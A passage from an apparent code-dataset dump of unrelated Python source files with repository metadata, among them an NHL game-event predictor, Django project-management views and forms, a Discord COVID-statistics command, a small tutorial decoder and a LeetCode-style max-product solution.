\n","repo_name":"yangyangyang127/PointCLIP_V2","sub_path":"zeroshot_cls/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"37"}
+{"seq_id":"72024309547","text":"\ndef find_dates():\n    with open('stocks.csv','r') as csv_file:\n\n        content = csv_file.readlines()\n\n        dates = []\n\n        for line in content:\n            csv = line.split(',')\n            date = csv[0]\n\n            hyphen_free = date.split('-')\n\n            dates.append(hyphen_free)\n\n        dates.pop(len(dates)-1)\n        dates.pop(0)\n\n        dictReader = []\n\n        for date in dates:\n            Dict = {\n                'Year': date[0],\n                'Month': date[1],\n                'Day': date[2],\n            }\n\n            dictReader.append(Dict)\n\n        for date in dictReader:\n            print(date['Month'], date['Day'])\n\n\n\nif __name__ == '__main__':\n\n    dates = find_dates()\n","repo_name":"Build-coder/stocks","sub_path":"prac_dicts.py","file_name":"prac_dicts.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36630123718","text":"import requests\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport pickle\nimport os\nimport boto3\nimport sklearn\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\nimport sklearn\nfrom decimal import Decimal\n\n\nos.environ['AWS_ACCESS_KEY_ID'] = ''\nos.environ['AWS_SECRET_ACCESS_KEY'] = ''\n\n\n\n\n\ndefault_start_date = datetime.now() - timedelta(days=1)\ndefault_end_date = datetime.now() + timedelta(days=7)\ndynamodb = boto3.resource('dynamodb', region_name='us-east-2')\ntable_name = 'predicted_events'\nstart_date = os.getenv('START_DATE', default_start_date.strftime('%Y-%m-%d'))\nend_date = os.getenv('END_DATE', default_end_date.strftime('%Y-%m-%d'))\ntable = dynamodb.Table(table_name)\n\ndef time_string_to_minutes(time_string):\n    try:\n        time_string=str(time_string)\n        minutes, seconds = map(int, time_string.split(':'))\n    except:\n        minutes=0\n        seconds=0\n\n    return minutes * 60 + seconds\n\n\ndef float_to_decimal(data):\n    if isinstance(data, list):\n        return [float_to_decimal(item) for item in data]\n    elif isinstance(data, dict):\n        return {key: float_to_decimal(value) for key, value in data.items()}\n    elif isinstance(data, float):\n        return Decimal(str(data))\n    elif isinstance(data, datetime):\n        return data.strftime('%Y-%m-%d %H:%M:%S')\n    else:\n        return data\n\n\nevents_map_df = pd.DataFrame(\n    columns=('season', 'penaltyMinutes', 'eventIdx', 'period', 'x', 'y', 'goals_away', 'goals_home',\n             'time_left_in_period', 'epoch_time', 'Home_Shots', 'Away_Shots', 'Home_Faceoffs',\n             'Away_Faceoffs', 'Home_blocked_shots', 'Away_blocked_shots', 'Home_hits', 'Away_hits',\n             'Home_takeaway', 'Away_takeaway', 'Home_giveaway', 'Away_giveaway', 'Home_penalty_minutes',\n             'Away_penalty_minutes', 'penaltySeverity_0', 'penaltySeverity_Bench Minor',\n             'penaltySeverity_Game Misconduct', 'penaltySeverity_Major', 'penaltySeverity_Match',\n             'penaltySeverity_Minor', 'penaltySeverity_Misconduct', 'penaltySeverity_Penalty Shot',\n             'home_1', 'home_2', 'home_3', 'home_4', 'home_5', 'home_6', 'home_7', 'home_8', 'home_9',\n             'home_10', 'home_12', 'home_13', 'home_14', 'home_15', 'home_16', 'home_17', 'home_18',\n             'home_19', 'home_20', 'home_21', 'home_22', 'home_23', 'home_24', 'home_25', 'home_26',\n             'home_28', 'home_29', 'home_30', 'home_52', 'home_53', 'home_54', 'home_55', 'home_7461',\n             'away_1', 'away_2', 'away_3', 'away_4', 'away_5', 'away_6', 'away_7', 'away_8', 'away_9',\n             'away_10', 'away_12', 'away_13', 'away_14', 'away_15', 'away_16', 'away_17', 'away_18',\n             'away_19', 'away_20', 'away_21', 'away_22', 'away_23', 'away_24', 'away_25', 'away_26',\n             'away_28', 'away_29', 'away_30', 'away_52', 'away_53', 'away_54', 'away_55', 'away_7460',\n             'game_type_P', 'game_type_R', 'game_type_WA'))\n\nsingle_df = pd.DataFrame(\n    columns=('season', 'penaltyMinutes', 'eventIdx', 'period', 'x', 'y', 'goals_away', 'goals_home',\n             'time_left_in_period', 'epoch_time', 'Home_Shots', 'Away_Shots', 'Home_Faceoffs', 'Away_Faceoffs',\n             'Home_blocked_shots', 'Away_blocked_shots', 'Home_hits', 'Away_hits', 'Home_takeaway', 'Away_takeaway',\n             'Home_giveaway', 'Away_giveaway', 'Home_penalty_minutes', 'Away_penalty_minutes', 'penaltySeverity_0',\n             'penaltySeverity_Bench Minor', 'penaltySeverity_Game Misconduct', 'penaltySeverity_Major',\n             'penaltySeverity_Match',\n             'penaltySeverity_Minor', 'penaltySeverity_Misconduct', 'penaltySeverity_Penalty Shot', 'home_1',\n             'home_2', 'home_3',\n             'home_4', 'home_5', 'home_6', 'home_7', 'home_8', 'home_9', 'home_10', 'home_12', 'home_13', 'home_14',\n             'home_15',\n             'home_16', 'home_17', 'home_18', 'home_19', 'home_20', 'home_21', 'home_22', 'home_23', 'home_24',\n             'home_25', 'home_26',\n             'home_28', 'home_29', 'home_30', 'home_52', 'home_53', 'home_54', 'home_55', 'home_7461', 'away_1',\n             'away_2', 'away_3',\n             'away_4', 'away_5', 'away_6', 'away_7', 'away_8', 'away_9', 'away_10', 'away_12', 'away_13', 'away_14',\n             'away_15',\n             'away_16', 'away_17', 'away_18', 'away_19', 'away_20', 'away_21', 'away_22', 'away_23', 'away_24',\n             'away_25', 'away_26',\n             'away_28', 'away_29', 'away_30', 'away_52', 'away_53', 'away_54', 'away_55', 'away_7460',\n             'game_type_P', 'game_type_R',\n             'game_type_WA'))\n\nspecial = pd.DataFrame(columns=['eventTypeId', 'description', 'eventIdx', 'period', 'periodTime',\n                                'periodTimeRemaining', 'dateTime', 'goals_away', 'goals_home', 'x', 'y',\n                                'id', 'triCode', 'secondaryType', 'penaltySeverity', 'penaltyMinutes',\n                                'strength_code', 'strength_name', 'gameWinningGoal', 'emptyNet',\n                                'Game_ID', 'game_type', 'season', 'away', 'home', 'date', 'epoch_time',\n                                'Home_Shots', 'Away_Shots', 'Home_Faceoffs', 'Away_Faceoffs',\n                                'Home_blocked_shots', 'Away_blocked_shots', 'Home_hits', 'Away_hits',\n                                'Home_takeaway', 'Away_takeaway', 'Home_giveaway', 'Away_giveaway',\n                                'Home_penalty_minutes', 'Away_penalty_minutes', 'time_left_in_period'])\n\ngames_url = \"https://statsapi.web.nhl.com/api/v1/schedule?startDate={}&endDate={}\".format(start_date, end_date)\n\nschedule_response = requests.get(games_url)\nschedule_data = schedule_response.json()\nfor date in schedule_data[\"dates\"]:\n\n    for game in date[\"games\"]:\n\n        items = {'Game_ID': int(game[\"gamePk\"]), 'game_type': (game[\"gameType\"]),\n                 'season': (game[\"season\"]),\n                 'away': (game[\"teams\"]['away']['team']['id']), 'home': (game[\"teams\"]['home']['team']['id']),\n                 'date': (date['date'])}\n\n\n        game_id = (items['Game_ID'])\n\n        events_url = f\"https://statsapi.web.nhl.com/api/v1/game/{game_id}/feed/live\"\n        events_response = requests.get(events_url)\n        data = events_response.json()\n        df = pd.json_normalize(data[\"liveData\"][\"plays\"][\"allPlays\"])\n\n        is_empty = df.empty\n        items2 = pd.DataFrame(items, index=[0])\n        items2['date'] = pd.to_datetime(items2['date'])\n        items2['epoch_time'] = items2['date'].apply(lambda dt: int(dt.timestamp()))\n\n        if is_empty == False:\n            games_df = pd.concat([df, items2], ignore_index=True)\n            new_columns = {col: col.split('.', 1)[-1] for col in games_df.columns}\n            games_df = games_df.rename(columns=new_columns)\n            new_columns = {col: col.replace('.', '_') for col in games_df.columns}\n            games_df = games_df.rename(columns=new_columns)\n            drop_columns=['players', 'link', 'eventCode', 'event', 'eventId', 'periodType', 'ordinalNum', 'name']\n            for that in drop_columns:\n                try:\n                    games_df = games_df.drop(columns=[that])\n                except:\n                    print()\n\n            games_df['Home_Shots'] = 0\n            games_df['Away_Shots'] = 0\n            games_df['Home_Faceoffs'] = 0\n            games_df['Away_Faceoffs'] = 0\n            games_df['Home_blocked_shots'] = 0\n            games_df['Away_blocked_shots'] = 0\n            games_df['Home_hits'] = 0\n            games_df['Away_hits'] = 0\n            games_df['Home_takeaway'] = 0\n            games_df['Away_takeaway'] = 0\n            games_df['Home_giveaway'] = 0\n            games_df['Away_giveaway'] = 0\n            games_df['Home_penalty_minutes'] = 0\n            games_df['Away_penalty_minutes'] = 0\n\n\n            for index, row in games_df.iterrows():\n\n                if row['eventIdx'] == 0:\n                    pass\n                else:\n                    games_df['home'] = items2['home'][0]\n                    games_df['away'] = items2['away'][0]\n                    games_df['season'] = items2['season'][0]\n                    games_df['date'] = items2['date'][0]\n                    games_df['epoch_time'] = items2['epoch_time'][0]\n                    games_df['game_type'] = items2['game_type'][0]\n                    games_df['Game_ID'] = items2['Game_ID'][0]\n\n                    event_id = row['eventIdx']\n                    previous = games_df.loc[index - 1]\n                    Homeshot = previous['Home_Shots']\n                    Awayshot = previous['Away_Shots']\n                    Home_faceoff = previous['Home_Faceoffs']\n                    Away_faceoff = previous['Away_Faceoffs']\n                    Home_Blocked = previous['Home_blocked_shots']\n                    Away_Blocked = previous['Away_blocked_shots']\n                    Home_Hits = previous['Home_hits']\n                    Away_Hits = previous['Away_hits']\n                    Home_tw = previous['Home_takeaway']\n                    Away_tw = previous['Away_takeaway']\n                    Home_gw = previous['Home_giveaway']\n                    Away_gw = previous['Away_giveaway']\n                    Home_pim = previous['Home_penalty_minutes']\n                    Away_pim = previous['Away_penalty_minutes']\n                    if (row['eventTypeId']) == 'SHOT' or (row['eventTypeId']) == 'MISSED_SHOT':\n                        if row['id'] == items2['home'][0]:\n                            Homeshot += 1\n                        else:\n                            Awayshot += 1\n\n                    elif (row['eventTypeId']) == 'FACEOFF':\n                        if row['id'] == items2['home'][0]:\n                            Home_faceoff += 1\n                        else:\n                            Away_faceoff += 1\n\n                    elif (row['eventTypeId']) == 'BLOCKED_SHOT':\n                        if row['id'] == items2['home'][0]:\n                            Home_Blocked += 1\n                        else:\n                            Away_Blocked += 1\n\n                    elif (row['eventTypeId']) == 'TAKEAWAY':\n                        if row['id'] == items2['home'][0]:\n                            Home_tw += 1\n                        else:\n                            Away_tw += 1\n\n                    elif (row['eventTypeId']) == 'HIT':\n                        if row['id'] == items2['home'][0]:\n                            Home_Hits += 1\n                        else:\n                            Away_Hits += 1\n\n                    elif (row['eventTypeId']) == 'GIVEAWAY':\n                        if row['id'] == items2['home'][0]:\n                            Home_gw += 1\n                        else:\n                            Away_gw += 1\n\n                    elif (row['eventTypeId']) == 'PENALTY':\n                        if row['id'] == items2['home'][0]:\n                            Home_pim += row['penaltyMinutes']\n                        else:\n                            Away_pim += row['penaltyMinutes']\n\n                    else:\n                        pass\n                    games_df.at[index, 'Home_Shots'] = Homeshot\n                    games_df.at[index, 'Away_Shots'] = Awayshot\n                    games_df.at[index, 'Home_Faceoffs'] = Home_faceoff\n                    games_df.at[index, 'Away_Faceoffs'] = Away_faceoff\n                    games_df.at[index, 'Home_blocked_shots'] = Home_Blocked\n                    games_df.at[index, 'Away_blocked_shots'] = Away_Blocked\n                    games_df.at[index, 'Home_hits'] = Home_Hits\n                    games_df.at[index, 'Away_hits'] = Away_Hits\n                    games_df.at[index, 'Home_takeaway'] = Home_tw\n                    games_df.at[index, 'Away_takeaway'] = Away_tw\n                    games_df.at[index, 'Home_giveaway'] = Home_gw\n                    games_df.at[index, 'Away_giveaway'] = Away_gw\n                    games_df.at[index, 'Home_penalty_minutes'] = Home_pim\n                    games_df.at[index, 'Away_penalty_minutes'] = Away_pim\n                    games_df['time_left_in_period'] = games_df['periodTimeRemaining'].apply(time_string_to_minutes)\n\n\n\n        else:\n            items3 = pd.get_dummies(items2, columns=['home', 'away', 'game_type'], dtype=float)\n            items4 = pd.concat([single_df, items3], ignore_index=True)\n            items4 = items4.fillna(0)\n            items4['home'] = items2['home'][0]\n            items4['away'] = items2['away'][0]\n            items4['description'] = 'Placeholder Game Schedule'\n            events_map_df = pd.concat([events_map_df, items4], axis=0, ignore_index=True)\n\n        special = pd.concat([special, games_df], axis=0, ignore_index=True)\n\nspecial = special.drop_duplicates()\ndummies = pd.get_dummies(special, columns=['home', 'away', 'game_type', 'penaltySeverity'], dtype=float)\nspecial_home = pd.concat([special['home'], dummies], axis=1)\nspecial = pd.concat([special['away'], special_home], axis=1)\n\nspecial = pd.concat([single_df, special], ignore_index=True)\n\nspecial = pd.concat([single_df, special], axis=0, ignore_index=True)\n\nspecial = pd.concat([events_map_df, special], axis=0, ignore_index=True)\n\nspecial = special.fillna(0)\nspecial = special.drop_duplicates()\nspecial = special.drop(columns=['dateTime', 'eventTypeId', 'emptyNet', 'gameWinningGoal', 'id'], axis=1)\n\ntrain_special = special.drop(\n    columns=['periodTimeRemaining', 'home', 'strength_code', 'Game_ID', 'periodTime', 'secondaryType',\n             'strength_name', 'triCode', 'date', 'away', 'description'], axis=1)\ntrain_special = train_special.sort_index(axis=1)\nwith open(\"scalar_model.pkl\", \"rb\") as file:\n    scalar = pickle.load(file)\n\nx_test = scalar.transform(train_special)\n\nwith open(\"logreg.pkl\", \"rb\") as f:\n    loaded_model = pickle.load(f)\npredictions = loaded_model.predict(x_test)\n\nspecial['prediction'] = predictions\nspecial.drop(special.iloc[:, 32:98], axis=1,inplace=True)\n\ndatas = special.to_dict(orient='records')\nfor datum in datas:\n    datum=float_to_decimal(datum)\n    table.put_item(Item=datum)\n\nprint('done')","repo_name":"AndrewKehl/NHL_Webapp_Project","sub_path":"event_predictor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18599747574","text":"from datetime import timedelta\nfrom fmsilva.models import interaction\nfrom fmsilva.models.interaction import Interaction\nfrom typing import Dict, List, TYPE_CHECKING\nfrom fmsilva.models.setting import Setting\nimport jsonpickle, json\nfrom fmsilva.models.persistence import Persistence, persistence_decorator\nfrom fmsilva.modules import config\nimport datetime\n    \n\nclass Settings(Persistence):\n    def __init__(self, \n    method:str=Persistence.SETTINGS,\n    user_id:int=None, \n    message_id:int=None,\n    settings:dict=None, \n    interactions:List[Interaction]=None) -> None:\n        super().__init__(method, user_id, message_id)\n        self.settings=settings # username: setting\n        self.interactions = interactions\n\n    def __repr__(self) -> str:\n        return jsonpickle.encode(self)\n\n    def __str__(self) -> str:\n        return f'Settings<{self.user_id}>'\n\n    def to_dict(self) -> str:\n        data = dict()\n        for key in iter(self.__dict__):\n            value = self.__dict__[key]\n            if value is not None:\n                if key == 'settings':\n                    for id in value.keys():\n                        value[id] = Setting.to_dict(value[id])\n                elif key == 'interactions':\n                    for index, item in enumerate(value):\n                        value[index] = Interaction.to_dict(value[index])\n                if hasattr(value, 'to_dict'):\n                    data[key] = value.to_dict()\n                else:\n                    data[key] = value\n        return data\n\n    @classmethod\n    def de_json(cls, data: dict):\n\n        if not data:\n            return None\n\n        obj = cls(**data)  # type: ignore[call-arg]\n        if hasattr(obj, 'settings'):\n            settings:dict = obj.settings\n            if settings:\n                for key in settings:\n                    settings[key] = Setting.de_json(settings.get(key))\n                obj.settings = settings\n        if hasattr(obj, 'interactions'):\n            interactions:list = obj.interactions\n            if interactions:\n                for key in interactions:\n                    interactions[key] = Interaction.de_json(interactions.get(key))\n                obj.interactions = interactions\n        return obj\n        \n    def from_string(string:str):\n        return jsonpickle.decode(string)\n\n    def get_setting(self, account:str):\n        try:\n            setting:Setting = self.settings.get(account)\n            if setting:\n                return setting\n            return None\n        except:\n            return None\n\n    def add_interaction(self, interaction:Interaction):\n        if not self.interactions:\n            self.interactions = list()\n        self.interactions.append(interaction)\n\n    @persistence_decorator\n    def set_setting(self, account:str, setting:Setting=None):\n        if setting:\n            self.settings[account] = setting\n            return setting\n        else:\n            setting = Setting(account)\n            if not self.settings:\n                self.settings = dict()\n            self.settings[account] = setting\n            return setting\n\n    @persistence_decorator\n    def set_comment(self, account:str, text:str):\n        setting = self.settings.get(account)\n        if not setting:\n            return False\n        setting.set_comment(text)\n        self.settings[account] = setting\n        return True\n\n    def save(self):\n        config.set_settings(self.to_dict())","repo_name":"wickerlife/fm_silva","sub_path":"fmsilva/fmsilva/models/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15103624586","text":"#!/usr/bin/env python\nimport sys\n\n\nDEFAULT_TABLE = \"AaCcdDeFfGhiKLlMmnNoOpPrRsSTtUuVvwWxyZz32.\\\\EbgjHI _YQB:\\\"/@\\r\\n\\x1A\"\n\ndef decode(indexes, table=DEFAULT_TABLE):\n    return ''.join([ table[x] for x in indexes[::2] ])\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        input = sys.argv[1]\n    else:\n        input = sys.stdin.readline()\n\n    print(decode(bytes(input, 'ascii')))\n","repo_name":"Hamled/journey-into-radare2","sub_path":"journey-into-radare2/part3/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"41323533337","text":"from django.shortcuts import render\nfrom django.shortcuts import HttpResponse\nfrom django.shortcuts import redirect\nfrom basedata.models import base\nfrom organize.models import organize as T_Organize\nfrom django.db.models import Q\nfrom common.views import *\nfrom .models import project as T_Project\nfrom django.http import JsonResponse\nfrom .forms import *\nimport json\nfrom django.utils import timezone\nfrom django.forms import widgets as Fwidge\nfrom django.core.exceptions import ObjectDoesNotExist\n\n#项目管理控制器入口\ndef project(request):\n    #传递工程类别字典到前台页面\n    prjtype_info = base.objects.filter(Q(FPID='4a94b19ea3d811e9b984708bcdb9b39a'))\n    prjtype = get_dict_table(prjtype_info, 'FID', 'FBase')\n\n    #传递工程用途字典到前台页面\n    prjuse_info = base.objects.filter(Q(FPID='71921f42a3d911e9920c708bcdb9b39a'))\n    prjuse = get_dict_table(prjuse_info, 'FID', 'FBase')\n\n    #传递工程状态字典到前台页面\n    prjstate_info = base.objects.filter(Q(FPID='22682ae6a3da11e9920c708bcdb9b39a'))\n    prjstate = get_dict_table(prjstate_info, 'FID', 'FBase')\n\n    #传递结构类型字典到前台页面\n    prjstruc_info = base.objects.filter(Q(FPID='97cfc154a3da11e9920c708bcdb9b39a'))\n    prjstruc = get_dict_table(prjstruc_info, 'FID', 'FBase')\n\n    #传递管理组织字典到前台页面\n    prjmanorg_info = T_Organize.objects.filter(Q(FStatus=True))\n    prjmanorg = get_dict_table(prjmanorg_info, 'FID', 'FOrgname')\n\n    #传递所有变量至前台模板\n    return render(request, 'content/project/projectinfo.html', locals())\n\n#返回table数据及查询结果\ndef get_datasource(request):\n    Orgid = request.session['UserOrg']\n\n    serinput = request.POST.get(\"resultdict[FPrjname]\", '')\n    condtions = {\"FManageORG\": Orgid}\n\n    Project_info =  T_Project.objects.filter(Q(FPrjname__contains=serinput))\n    Project_info = org_split(Project_info, request, **condtions)\n\n    dict = convert_to_dicts(Project_info)\n    resultdict = {'code':0, 'msg':\"\", 'count': Project_info.count(), 'data': dict}\n\n    return  JsonResponse(resultdict, safe=False)\n\n#刷新下拉列表框数据\ndef ref_dropdowndata(obj, request):\n    prjtype_info = base.objects.filter(Q(FPID='4a94b19ea3d811e9b984708bcdb9b39a'))\n    prjuse_info = base.objects.filter(Q(FPID='71921f42a3d911e9920c708bcdb9b39a'))\n    prjstate_info = base.objects.filter(Q(FPID='22682ae6a3da11e9920c708bcdb9b39a'))\n    prjstruc_info = base.objects.filter(Q(FPID='97cfc154a3da11e9920c708bcdb9b39a'))\n    prjmanorg_info = T_Organize.objects.filter(Q(FStatus=True))\n\n    obj.fields['FPrjtypeID'].choices = get_dict_object(request, prjtype_info, 'FID', 'FBase')\n    obj.fields['FPrjuseID'].choices = get_dict_object(request, prjuse_info, 'FID', 'FBase')\n    obj.fields['FPrjstate'].choices = get_dict_object(request, prjstate_info, 'FID', 'FBase')\n    obj.fields['FStructypeID'].choices = get_dict_object(request, prjstruc_info, 'FID', 'FBase')\n    obj.fields['FManageORG'].choices = get_dict_object(request, prjmanorg_info, 'FID', 'FOrgname')\n\n\n#链接增加模板\ndef add(request):\n    type = request.GET.get('type')\n    obj = ProjectModelForm()\n\n    ref_dropdowndata(obj, request)\n    return render(request, \"content/project/projectadd.html\" , {'obj': obj, 'action': 'insert', 'type': type})\n\n#链接编辑模板\ndef edit(request):\n    type = request.GET.get('type')\n    fid = request.GET.get('fid')\n\n    Project_info = T_Project.objects.get(Q(FID=fid))\n    obj = ProjectModelForm(instance=Project_info)\n\n    ref_dropdowndata(obj, request)\n    return render(request, \"content/project/projectadd.html\", {'obj': obj,  'Project_info': Project_info,  'action': 'update', 'type': type})\n\n#处理新增及保存\ndef insert(request):\n    if request.method == 'POST':\n        response_data = {}\n\n        if request.GET.get('actype') == 'insert':\n            obj = ProjectModelForm(request.POST)\n        elif request.GET.get('actype') == 'update':\n            fid = request.POST.get('FID')\n            Project_info = T_Project.objects.get(FID=fid)\n            obj = ProjectModelForm(request.POST, instance=Project_info)\n        else:\n            response_data['result'] = '2'\n            return HttpResponse(json.dumps(response_data))\n\n        ref_dropdowndata(obj, request)\n\n        try:\n            if obj.is_valid():\n                temp = obj.save(commit=False)\n                temp.FStatus = True\n                temp.CREATED_ORG = request.session['UserOrg']\n                temp.CREATED_BY = request.session['UserID']\n                temp.UPDATED_BY = request.session['UserID']\n                temp.CREATED_TIME = timezone.now()\n\n                temp.save()\n                response_data['result'] = '0'\n            else:\n                response_data['msg'] = obj.errors\n                response_data['result'] = '1'\n\n            return HttpResponse(json.dumps(response_data))\n\n        except Exception as e:\n            response_data['msg'] = e\n            response_data['result'] = '1'\n\n            return HttpResponse(json.dumps(response_data))\n\n#处理禁用/启用项目\ndef disabled(request):\n    response_data = {}\n    if request.method == 'POST':\n        fid = request.POST.get('fid')\n\n        try:\n            Project_info = T_Project.objects.get(FID=fid)\n\n            if request.GET.get('type') == 'lock':\n                Project_info.FStatus = False\n            elif request.GET.get('type') == 'unlock':\n                Project_info.FStatus = True\n\n            Project_info.save()\n\n            response_data['result'] = '0'\n            return HttpResponse(json.dumps(response_data))\n        except ObjectDoesNotExist:\n            response_data['result'] = '2'\n            return HttpResponse(json.dumps(response_data))\n\n    else:\n        response_data['result'] = '2'\n        return HttpResponse(json.dumps(response_data))\n","repo_name":"wjcyxx/ISMS","sub_path":"project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5847,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"}
+{"seq_id":"71496819949","text":"from django import forms\nfrom .models import CompanyDescription\n\n\nclass CompanyDescriptionForm(forms.ModelForm):\n    class Meta:\n        model = CompanyDescription\n        fields = { 'id_company_description', 'description_short', 'description_long'} \n        widgets = {\n            'description_short': forms.Textarea(attrs={'cols': 80, 'rows': 20}),\n            'description_long': forms.Textarea(attrs={'cols': 80, 'rows': 20}),\n        }\n# from .models import MachineType, Machine, Worker, Client\n\n# class MachineTypeForm(forms.ModelForm):\n#     class Meta:\n#         model = MachineType\n#         fields = ['machine_type_name']\n#         #labels = {'text': ''}\n#\n# class MachineForm(forms.ModelForm):\n#     class Meta:\n#         model = Machine\n#         fields = ['machine_name', 'machine_type', 'service_interval', 'last_service', 'is_operational', 'notes']\n#         #labels = {'text': ''}\n#\n# class WorkerForm(forms.ModelForm):\n#     class Meta:\n#         model = Worker\n#         fields = ['first_name', 'last_name', 'worker_title', 'active', 'notes']\n#         #labels = {'text': ''}\n#\n# class ClientForm(forms.ModelForm):\n#     class Meta:\n#         model = Client\n#         fields = ['first_name', 'last_name', 'is_company', 'client_name', 'nip', 'is_blocked', 'blocked_notes',\n#                   'default_invoice', 'default_reminder_sms_minutes', 'is_confirmed', 'is_rejected', 'ip_address', 'default_reminder_email_minutes',\n#                   'default_finished_info_sms', 'default_finished_info_email', 'client_discount_percent_sum', 'notes', 'default_company_branch' ]\n#         #labels = {'text': ''}\n","repo_name":"ksazon/ussr","sub_path":"company/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70793931308","text":"import requests, datetime\n\n\n#async def covid(message):\n#    try:\n#        data = requests.get(\n#            \"https://services1.arcgis.com/0MSEUqKaxRlEPj5g/arcgis/rest/services/cases_time_v3/FeatureServer/0/query?f=json&where=1%3D1&returnGeometry=false&spatialRel=esriSpatialRelIntersects&outFields=*&orderByFields=Report_Date_String%20asc&resultOffset=0&resultRecordCount=2000&cacheHint=true\"\n#        )\n#        print(f\"data requests status: {data.status_code}\")\n#        if data.status_code == 200:\n#            confirmed = (\n#                data.json().get(\"features\")[-1].get(\"attributes\").get(\"Total_Confirmed\")\n#            )\n#            recovered = (\n#                data.json().get(\"features\")[-1].get(\"attributes\").get(\"Total_Recovered\")\n#            )\n#            date = (\n#                data.json().get(\"features\")[-1].get(\"attributes\").get(\"Report_Date_String\")\n#            )\n#            await message.channel.send(\n#                f\"```css\\nAs of {date}, there are {confirmed} confirmed cases and {recovered} total recoveries.\\n```\"\n#            )\n#        else:\n#            print(f\"issue getting the data: {data.status_code}\\noutput: {data.text}\")\n#            # pm a failure\n#    except Exception as e:\n#        print(f\"issue making the call at all: {e}\")\n#        # pm a failure\n\nasync def covid(message, location):\n    now = datetime.datetime.now()\n    if datetime.datetime.strftime(now, \"%H:%M\") >= \"23:59\":\n        fileDate = \"{0}\".format(datetime.datetime.strftime(now, \"%m-%d-%Y\"))\n    else:\n        yesterday = now - datetime.timedelta(days=1)\n        fileDate = \"{0}\".format(datetime.datetime.strftime(yesterday, \"%m-%d-%Y\"))\n    url = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{0}.csv'.format(fileDate)\n    print(url)\n    #try:\n    r = requests.get(url, verify=False)\n    if r.status_code == 200:\n        # split by newline\n        lines = r.text.splitlines()\n        # now split by comma\n        rows = []\n        for b in lines:\n            rows.append(b.split(','))\n        # now to fix any stupid EXTRA commas, like \"Korea, South\"\n        data = []\n        for entry in rows:\n            combined = False\n            tmprow = []\n            for place in range(0,len(entry)):\n                tmp = \"\"\n                if combined:\n                    combined = False\n                    pass\n                else:\n                    if place < len(entry)-2:\n                        if '\"' in entry[place] and '\"' in entry[place+2]:\n                            tmp = str(entry[place][1:])+','+str(entry[place+1])+','+str(entry[place+2][:-1])\n                            tmprow.append(tmp)\n                            combined = True\n                        elif '\"' in entry[place] and '\"' in entry[place+1]:\n                            tmp = str(entry[place][1:])+','+str(entry[place+1][:-1])\n                            tmprow.append(tmp)\n                            combined = True\n                        else:\n                            tmprow.append(entry[place])\n                            combined = False\n                    elif place < len(entry)-1:\n                        if '\"' in entry[place] and '\"' in entry[place+1]:\n                            tmp = str(entry[place][1:])+','+str(entry[place+1][:-1])\n                            tmprow.append(tmp)\n                            combined = True\n                        else:\n                            tmprow.append(entry[place])\n                            combined = False\n                    else:\n                        tmprow.append(entry[place])\n                        combined = False\n            if len(tmprow) == 13:\n                tmprow.pop()\n            data.append(tmprow)\n        if location is None:\n            confirmed = 0\n            deaths = 0\n            recoveries = 0\n            for entry in data[1:]:\n                confirmed += int(entry[7])\n                deaths += int(entry[8])\n                recoveries += int(entry[9])\n            await message.channel.send(\n                    f\"```css\\nAs of {fileDate}, there have been {confirmed} confirmed cases, {deaths} total deaths, and {recoveries} total recoveries.```\"\n            )\n        else:\n            confirmed = 0\n            deaths = 0\n            recoveries = 0\n            for entry in data:\n                if location.lower() in entry[11].lower():\n                    confirmed += int(entry[7])\n                    deaths += int(entry[8])\n                    recoveries += int(entry[9])\n            await message.channel.send(\n                f\"```css\\nAs of {fileDate}, there are {confirmed} confirmed cases, {deaths} total deaths, and {recoveries} total recoveries for {location}.```\"\n            )\n","repo_name":"TheDiemer/pandabot4Discord","sub_path":"covid19.py","file_name":"covid19.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5548717781","text":"def maxProduct(nums) -> int:\n        # Maximum Product to return\n        maximumProduct = 0\n        \n        # Length of the input list\n        n = len(nums)\n        \n        # In the brute force approach, we will take each index\n        # And then multiply that element with every other element on its right\n        # And update the maximum product\n        \n        # For every index \"i\"\n        for i in range(n):\n            # Go through every index on right\n            for j in range(i + 1, n):\n                # Get the product\n                currProduct = (nums[i]-1)*(nums[j]-1)\n                \n                # Update the maximum product\n                maximumProduct = max(maximumProduct, currProduct)\n                \n        # Finally, return the maximum product\n        return maximumProduct\n\nnums = [3,4,5,2]\nprint(\"Output ->\", maxProduct(nums))","repo_name":"itsarvindhere/heap","sub_path":"001. Maximum Product of Two Numbers/BruteForce.py","file_name":"BruteForce.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
